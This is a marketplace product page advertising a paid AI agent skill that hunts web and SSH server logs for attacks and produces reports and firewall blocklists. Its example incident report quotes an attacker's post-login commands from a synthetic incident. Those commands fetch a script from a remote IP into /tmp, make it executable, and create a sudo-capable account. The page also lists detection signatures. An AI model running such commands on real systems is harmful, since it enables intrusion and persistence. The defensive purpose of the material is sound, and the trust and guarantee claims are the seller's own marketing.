More screenshots

    Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIMuseMuseDotsDots+22 more

    server log threat hunter

    1

    Hunt nginx/Apache and SSH auth logs offline for attacks and break-ins: scored IPs, ATT&CK mapping, timeline, IOCs and a reviewable blocklist.

    $20

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    server log threat hunter

    server log threat hunter

    Example session with this skill installed

    My VPS has been acting weird since yesterday. I copied /var/log/nginx/access.log and /var/log/auth.log.2.gz into this folder. The server is on Chicago time and my office IP is 198.51.100.10. Did someone get in? Give me a timeline and a blocklist, but don't change anything on the server.

    • Read your context and instructions
    • Compiled the server log threat
    • Generated the data export

    Answer: yes, very likely. 1 CRITICAL, 1 HIGH, 2 MEDIUM, 7 LOW across 1,127 log events from 93 IPs (Oct 8, 02:10 to 22:58 CT).

    CRITICAL, 203.0.113.77, score 100: logged in over SSH as deploy with a password at 13:42:42 after 38 failed attempts. The same IP had probed the website with SQL injection and XSS at 13:02 (T1078).

    What it did next (as deploy via sudo): 13:44 wget -q hxxp://203.0.113[.]77/x.sh -O /tmp/.x.sh, 13:45 chmod +x /tmp/.x.sh, 13:46 created user backupsvc (UID 1002), 13:47 added backupsvc to the sudo group (T1548.003, T1136.001, T1098).

    HIGH, 203.0.113.45, score 79: Log4Shell, PHPUnit RCE and Apache traversal probes plus 75 404s. Scanning only, no sign it got in.

    MEDIUM: 203.0.113.9 sprayed 12 usernames over SSH. 203.0.113.120 sent 45 POSTs to login pages. Username admin was tried from 8 different IPs (distributed guessing).

    • Your office IP 198.51.100.10 was allowlisted and isn't in the blocklist.

    Deliverables: hunt.md (full report), timeline.csv (13 high-severity events in order), iocs.csv, hunt.json (for tomorrow's diff), and blocklist.txt with 2 IPs as ufw, nftables and nginx lines. Nothing has been applied.

    Next steps (from the response playbook)

    1. Don't wipe anything yet. Copy the logs, /etc/passwd, /etc/group, /etc/sudoers*, crontabs and /tmp/.x.sh somewhere safe.
    2. Make sure you have console access through your host, then lock deploy and backupsvc and kill their sessions.
    3. Review blocklist.txt and apply it yourself.
    4. Check authorized_keys, crontabs and systemd units for persistence, rotate every credential on the box, and plan a rebuild.

    (Numbers come from a real run on the bundled synthetic incident. Its IPs are RFC 5737 documentation addresses.)

    timeline.csv

    CSV · data export

    Generated

    Example file from a real run - the skill writes it into your workspace.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Find out if your server was attacked, or broken into, from the logs you already have.

    server log threat hunter gives your AI agent an incident-response toolkit for Linux web servers. Point it at your web access logs and your SSH/auth logs (rotated .gz files are fine). It parses every line, matches tested attack signatures, scores each source IP from 0 to 100, and tells you in plain language what happened and when. The most important question gets a direct answer: did anyone actually get in? A successful SSH login after a run of failures, followed by sudo downloads and a new admin account, is flagged CRITICAL. A noisy scanner that never got in tops out at HIGH. Everything runs locally and nothing is changed on the server.

    What it does

    • Reads real-world logs: nginx and Apache combined/common format (with or without vhost prefix), JSON access logs, /var/log/auth.log and /var/log/secure (classic syslog and ISO-8601 rsyslog), and journalctl -o short-iso output. Gzip, mixed files, year-less syslog dates and timezones are handled.
    • Web attack signatures: Log4Shell (CVE-2021-44228), Shellshock (CVE-2014-6271), PHPUnit RCE (CVE-2017-9841), Apache 2.4.49 traversal (CVE-2021-41773), SQL injection, XSS, template injection, command injection, path traversal, webshell access, .env/.git/backup-file probes, admin-panel probing, scanner user agents, 404 bursts, login floods and request-rate spikes. Exploit hits that returned HTTP 200 score higher.
    • SSH and host signals: password guessing, password spraying across many usernames, invalid users, distributed guessing of one username from many IPs, accepted logins after failures, logins from IPs that also attacked the website, suspicious sudo commands (downloads, chmod +x in /tmp, reverse shells, user creation), new local accounts and additions to sudo/wheel/admin groups.
    • MITRE ATT&CK mapping on every finding (T1190, T1110.001, T1110.003, T1078, T1548.003, T1136.001, T1098 and more).
    • Severity you can trust: per-area caps, and CRITICAL only with evidence of access or post-login activity.
    • Outputs: terminal summary, hunt.md report, iocs.csv, timeline.csv, hunt.json, and blocklist.txt with ufw, nftables and nginx deny lines. Your own --allow IPs and CIDRs never land in the blocklist. URLs and IPs inside commands are defanged.
    • Daily diffs: hunt_diff.py compares two runs and lists new findings, new IPs, escalations and attackers that went quiet.
    • Response playbook: a step-by-step guide for when the result is CRITICAL (preserve evidence, keep access, contain, hunt persistence, rotate credentials, rebuild or clean).

    Problems it solves

    • "My server is slow / my host sent an abuse notice. Was I hacked?"
    • Thousands of SSH failures a day and no idea whether one of them succeeded
    • Grepping access logs by hand for jndi, ../ and union select
    • Writing firewall rules from a log without blocking yourself
    • Explaining an incident to a client or boss with a timeline instead of a guess

    Who it's for

    Developers and indie hackers running a VPS, sysadmins and DevOps engineers, MSPs and IT generalists, small-business web hosts, and SOC analysts who want a fast offline first pass on Linux logs.

    What's included

    • SKILL.md: hard safety rules for the agent, where each log lives on Debian/Ubuntu and RHEL-family systems, run commands, how to read severities, and a decision tree for what to tell the user
    • scripts/hunt.py (main CLI), logparse.py (parsers), detections.py (signatures and ATT&CK map), hunt_diff.py (run-to-run diff), make_samples.py (a synthetic incident using RFC 5737 documentation IPs)
    • references/: detection rules table generated from the code, supported log formats with examples, an incident response playbook, and every source used (nginx, Apache, OpenSSH, shadow-utils, sudo, RFC 3164/5424/3339, NVD, MITRE ATT&CK)
    • examples/: expected terminal output and blocklist for the bundled sample

    Standard-library Python only. No API keys, no network calls, no installs.

    How to use

    Skills on Agensi run inside your AI agent. Copy the prompt, paste it into your agent, and it connects to Agensi and installs this skill for you. If a payment is needed, your agent shows it to you first.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scanned

    Verified clean 9 days ago

    • Passed all security checks, Safe to install

    Listed9 days ago

    What's inside

    Frequently Asked Questions